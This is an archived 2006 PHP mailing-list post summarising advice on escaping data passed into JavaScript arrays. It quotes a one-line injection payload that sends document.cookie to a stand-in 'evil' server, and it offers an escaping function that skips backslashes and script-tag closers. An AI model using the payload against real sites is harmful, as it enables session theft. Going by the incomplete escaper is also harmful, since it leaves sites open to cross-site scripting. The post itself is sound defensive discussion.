NYCPHP Meetup

NYPHP.org

[nycphp-talk] Passing JavaScript arrays

Cliff Hirsch cliff at pinestream.com
Fri Jul 7 13:47:08 EDT 2006


Thanks to all for the great responses -- very helpful. I've summarized
below:

> For security, do I just escape the output like any other variable
destined for the browser?

It depends where its coming from and what you're using it for. For
example, I have dynamic JS array's coming from the DB that may contain
HTML, and will eventually populate drop-down menu's.  For these, I pass
through a 'js cleansing' routine to trim, remove HTML tags, convert to
UTF-8 (or whatever), remove any line-breaks and escape all quotes. But
I'd be extremely wary if your JS data is coming from GET or POST.  I can
see a variable like the following jacking a JS array:

');
location='http://myevilserver.com/steal?your_cookies='+document.cookie;
//

If you're echoing a string from php into a javascript string var, you
need to escape it. Here's an example. The escapeString function here is
slightly modified from the one used in CakePHP's javascript helper:

<?php
function escapeString($string) {
   $escape = array("\r\n" => '\n', "\r" => '\n', "\n" => '\n', '"' =>
'\"', "'" => "\\'");
   return str_replace(array_keys($escape), array_values($escape),
$string); }

$string = "It's good to \"escape\" strings";
?>

<script language="javascript" type="text/javascript">
// <![CDATA[
   var string = '<?php echo escapeString($string); ?>';
   alert(string);
// ]]>
</script>

If you don't want the JS to be inline, you can create a separate PHP
file that only outputs JavaScript code:

<script type="text/javascript" src="js.php"></script>

Just make sure js.php has the following before you start outputting
JavaScript:

header('content-type:text/javascript');

(From what I understand, Apache will by default cache .js files but
force a request for .php templates.  This may affect the chi of your
app..  man..)




More information about the talk mailing list